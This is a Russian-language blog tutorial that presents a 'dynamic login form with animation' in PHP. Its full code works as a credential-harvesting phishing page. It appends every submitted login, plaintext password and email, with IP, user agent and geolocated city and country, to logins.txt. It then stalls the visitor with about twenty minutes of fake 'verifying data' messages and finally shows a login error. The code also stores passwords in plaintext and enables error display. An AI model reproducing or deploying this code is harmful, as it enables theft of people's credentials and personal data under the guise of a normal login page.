Создание динамичной формы входа с анимацией и обработкой данных на PHP
- 30.07.2024
- md2
- 0 отзывов
Создание динамичной формы входа с анимацией и обработкой данных на PHP
В современном веб-разработке важным аспектом является создание удобного и интерактивного пользовательского интерфейса. В этой статье мы рассмотрим, как создать динамичную форму входа на PHP, которая не только запрашивает данные от пользователя, но и включает элементы анимации для улучшения пользовательского опыта. Мы также добавим функционал для обработки данных и отображения сообщений об ошибках.
1. Цели и задачи
Наша цель — создать форму входа с следующими функциями:
- Сбор логина, пароля и электронной почты пользователя.
- Запись данных, включая HTTP_USER_AGENT, REMOTE_ADDR, город, страну и текущее время, в текстовый файл.
- Отображение анимации с несколькими сообщениями в процессе обработки данных.
- Отображение сообщения об ошибке, если введенные данные неверны.
2. Основная структура
Наше приложение состоит из одного PHP-файла (index.php), который включает HTML, CSS и JavaScript. Рассмотрим его по частям.
2.1. HTML и PHP
Файл index.php содержит форму для ввода данных пользователя. Основные блоки кода:
php
<?php
// Отображение ошибок для отладки
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Обработка формы при отправке
$loginError = '';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Получаем данные из формы
$login = $_POST['login'];
$password = $_POST['password'];
$email = isset($_POST['email']) ? $_POST['email'] : 'N/A'; // Добавлено поле электронной почты
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$remoteAddr = $_SERVER['REMOTE_ADDR'];
$currentTime = date('Y-m-d H:i:s');
// Получение информации по IP (используется ip-api.com)
$apiUrl = "http://ip-api.com/json/$remoteAddr";
$city = 'Unknown';
$country = 'Unknown';
$response = file_get_contents($apiUrl);
if ($response) {
$data = json_decode($response, true);
if ($data['status'] == 'success') {
$city = $data['city'];
$country = $data['country'];
}
}
// Запись данных в текстовый файл
$file = 'logins.txt';
$data = "Login: $login, Password: $password, Email: $email, User Agent: $userAgent, Remote Addr: $remoteAddr, City: $city, Country: $country, Time: $currentTime\n";
file_put_contents($file, $data, FILE_APPEND);
// Имитация проверки логина и пароля (в этом примере предполагаем, что логин и пароль должны быть "admin" и "password")
$correctLogin = 'admin';
$correctPassword = 'password';
if ($login !== $correctLogin || $password !== $correctPassword) {
$loginError = 'Неверный логин или пароль';
}
// Установка флага для показа сообщения
$showMessage = true;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Форма входа</title>
<style>
/* Стили для формы и анимаций */
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-color: #f4f4f4;
}
.form-container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
width: 300px;
position: relative;
}
.form-container h1 {
margin-top: 0;
font-size: 24px;
color: #333;
}
.form-container label {
display: block;
margin-bottom: 8px;
font-weight: bold;
}
.form-container input {
width: 100%;
padding: 8px;
margin-bottom: 16px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
.form-container input.error {
border-color: #dc3545;
animation: shake 0.3s ease;
}
.form-container input.success {
border-color: #28a745;
}
.form-container button {
width: 100%;
padding: 10px;
background-color: #007bff;
border: none;
border-radius: 4px;
color: #fff;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.form-container button:hover {
background-color: #0056b3;
}
.form-container.hidden {
display: none;
}
.message {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
padding: 20px;
background: rgba(0, 0, 0, 0.7);
color: #fff;
border-radius: 8px;
font-size: 18px;
text-align: center;
display: flex;
align-items: center;
justify-content: center;
flex-direction: column;
}
.message .spinner {
border: 8px solid #f3f3f3; /* Светло-серый */
border-top: 8px solid #007bff; /* Синий */
border-radius: 50%;
width: 50px;
height: 50px;
margin-bottom: 20px;
animation: spin 1s linear infinite;
}
progress {
width: 100%;
height: 20px;
margin: 20px 0;
border-radius: 4px;
appearance: none;
}
progress::-webkit-progress-bar {
background: #f3f3f3;
border-radius: 4px;
}
progress::-webkit-progress-value {
background: #007bff;
border-radius: 4px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
@keyframes shake {
0% { transform: translateX(0); }
25% { transform: translateX(-5px); }
50% { transform: translateX(5px); }
75% { transform: translateX(-5px); }
100% { transform: translateX(0); }
}
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes fadeOut {
from { opacity: 1; }
to { opacity: 0; }
}
.error-message {
position: fixed;
top: 70%;
left: 50%;
transform: translate(-50%, -50%);
padding: 20px;
background: rgba(255, 0, 0, 0.7);
color: #fff;
border-radius: 8px;
font-size: 18px;
text-align: center;
display: none;
}
</style>
</head>
<body>
<div class="form-container<?php echo isset($showMessage) ? ' hidden' : ''; ?>">
<h1>Форма входа</h1>
<form id="loginForm" action="index.php" method="POST">
<label for="login">Логин:</label>
<input type="text" id="login" name="login" required>
<label for="password">Пароль:</label>
<input type="password" id="password" name="password" required>
<label for="email">Электронная почта:</label>
<input type="email" id="email" name="email" required>
<button type="submit">Отправить</button>
</form>
</div>
<?php if (isset($showMessage)): ?>
<div id="message" class="message">
<div class="spinner"></div>
<div id="messageText">Пожалуйста, подождите...</div>
</div>
<progress id="progress" max="100" value="0"></progress>
<?php endif; ?>
<?php if (!empty($loginError)): ?>
<div id="errorMessage" class="error-message"><?php echo $loginError; ?></div>
<?php endif; ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
if (document.querySelector('#message')) {
const messages = [
'Пожалуйста, подождите...',
'Проверка данных...',
'Проверка завершена...',
'Обработка информации...',
'Запись в базу данных...',
'Сохранение данных...',
'Анализ данных...',
'Финальная проверка...',
'Почти готово...',
'Завершение процесса...'
];
const durationPerMessage = 120000; // Длительность отображения одного сообщения в миллисекундах
const progress = document.getElementById('progress');
let index = 0;
function showNextMessage() {
const messageText = document.getElementById('messageText');
const messageElement = document.getElementById('message');
const errorMessageElement = document.getElementById('errorMessage');
const currentMessage = messages[index];
const totalMessages = messages.length;
const progressValue = ((index + 1) / totalMessages) * 100;
messageText.textContent = currentMessage;
progress.value = progressValue;
messageElement.style.opacity = 1;
progress.style.opacity = 1;
setTimeout(() => {
messageElement.style.opacity = 0;
progress.style.opacity = 0;
setTimeout(() => {
if (index < messages.length - 1) {
index++;
messageElement.style.opacity = 1;
progress.style.opacity = 1;
showNextMessage();
} else {
setTimeout(() => {
if (document.querySelector('.form-container.hidden')) {
errorMessageElement.style.display = 'block';
}
}, 1000); // Задержка перед показом сообщения об ошибке
}
}, 500); // Задержка между сообщениями
}, durationPerMessage);
}
showNextMessage();
}
});
</script>
</body>
</html>
Объяснение
HTML и PHP:
- Формы для ввода данных: логин, пароль и электронная почта.
- Обработка данных и запись в файл. Информация о пользователе и IP-адресе сохраняется, а также проверяется правильность введенных данных.
- Если логин или пароль неверны, отображается сообщение об ошибке.
CSS:
- Стили для формы и элементов анимации.
- Анимация для вращающегося индикатора загрузки и прогресс-бара.
JavaScript:
- Анимация сообщений: каждое сообщение отображается на 2 минуты, после чего появляется следующее.
- Прогресс-бар показывает процесс анимации, и после завершения всех сообщений отображается сообщение об ошибке, если данные неверны.
Этот код создаёт интуитивно понятную и привлекательную форму входа с динамическими элементами, что улучшает пользовательский опыт. Вы можете адаптировать стили и анимации по своему усмотрению, чтобы соответствовать дизайну вашего сайта.
Отзывы (0)
Теги: PHP, форма входа, анимация, обработка данных, HTML, CSS, JavaScript, пользовательский интерфейс, веб-разработка